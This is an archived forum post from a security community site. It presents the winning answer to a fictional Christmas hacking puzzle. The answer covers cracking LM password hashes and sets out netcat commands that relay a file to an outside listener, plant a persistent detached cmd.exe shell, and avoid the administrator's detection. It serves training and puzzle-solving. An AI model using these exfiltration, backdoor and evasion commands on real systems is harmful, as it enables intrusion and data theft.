Image
 
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 19 guests and 3 members online
EH-Net Donations

Enter Amount:
$

Google Ads
ChicagoCon 2008f
chicagocon2008f_125x200banner.jpg
ChicagoCon 2008f
EH-Net News Feeds
Latest Additions
Book Recommendations





 
Advertisement

You are here: Home arrow Forum arrow Featuresarrow Skillzarrow Dec 06 - A Christmas (Hacking) Storyarrow Skillz Dec 06 Winning Entry - Technical
Ethical Hacker Community Forums
September 05, 2008, 04:53:25 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Registration Now Open for ChicagoCon 2008f Oct 27 - Nov 2! Visit www.chicagocon.com.
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: Skillz Dec 06 Winning Entry - Technical  (Read 3330 times)
0 Members and 1 Guest are viewing this topic.
don
Editor-In-Chief
Administrator
Hero Member
*****
Offline Offline

Posts: 2241


Editor-In-Chief


View Profile WWW
« on: January 13, 2007, 02:45:01 AM »

Juan Miguel Paredes

Quote
1) What is interesting about the files that Ralphie could see on the lamp server?

He has access to a netcat executable (nc) on a Linux system!  What could be more interesting?  Well, the chimney file is a pipe file, likely used by the email command processing system or to issue commands to the Lamp directly.  But we don't need to mess with the Lamp.

2) What is the significance of the Annie cyphertext?

The Annie cyphertext is Windows LM password hashes.  These are trivial to crack with a multitude of tools, especially since they are seven characters max - you can tell this by the telltale "AAD3B435B51404EE" pattern, which indicates a seven character or less password (LM hashes are split into two hashes, seven characters each.  The telltale pattern equals a blank password, hence the seven characters or less password for each password hash).

The hashes decrypt to:

"DRINK MORE OVALTINE BUY COUNTER HACK RELOADE USE NETCAT RELAY"

Which is what our hero intends to do.

3) What command could Ralphie e-mail to the lamp to get access to the command shell on the furnace server from the kid's network to read the Christmas list?  What should Ralphie do on his own laptop for this to work?  Assume that you cannot alter the configuration of the lamp or get any higher privileges on that machine, nor can you reconfigure the firewall.

On his own laptop, run the following netcat command to setup a listener on port 443:

nc -l -p 443

Email the following command to the lamp:

echo "nc 10.11.11.11 443 < c:\christmas_gift_list.txt" | ./nc 10.10.10.10 2222

Since port 443 outbound is allowed through the firewall, this should send the Christmas Gift List to his laptop directly.

4) How can Ralphie make the activities you describe above less likely to be detected by his Old Man?

Since the netcat on the Furnace was started with a single listener "-l" rather than a persistent listener "-L", the Old Man will be very suspicious when he finds that his listener on the Furnace is no longer, er, listening.  To get around this, Ralphie could issue this command via email to the lamp first instead:

echo "nc -L -p 2223 -d -e cmd.exe" | ./nc 10.10.10.10 2222

This should start a detached, persistent listener on the Furnace on port 2223.  After that runs, the listener on 2222 should die (-l vs. -L).

Then, send the following command to extract the Christmas Gift List:

echo "nc 10.11.11.11 443 < c:\christmas_gift_list.txt" | ./nc 10.10.10.10 2223

After he gets the list, Ralphie can send this command to restart the single-use listener on 2222:

echo "nc -l -p 2222 -e cmd.exe" | ./nc 10.10.10.10 2223

Aside from not creating suspicion in the Old Man, Ralphie now has his own persistent listener on the Furnace.

Congrats and well done,
Don
« Last Edit: January 13, 2007, 02:48:29 AM by don » Logged

CISSP, MCSE, CEH, Security+ SME
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.041 seconds with 25 queries.
 
Polls
Best for daily desktop use:
 
Support EH-Net
chicagocon2008f_125x200banner.jpg
ChicagoCon 2008f


Support EH-Net by
Buying all of your
Amazon items using
the search bar above.

cbtnuggets_logo_125.jpg
Try CBT Nuggets Free!
Recent Forum Topics
Vote For EH-Net

progenic.com
Click here to Vote!

Sadikhov.com
Top IT Cert Sites

binarica.com
Binarica Logo

Add to Technorati Favorites
technorati fave

chicagocon2008f_125x200banner.jpg
ChicagoCon 2008f
 
         
Advertisement

© 2008 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.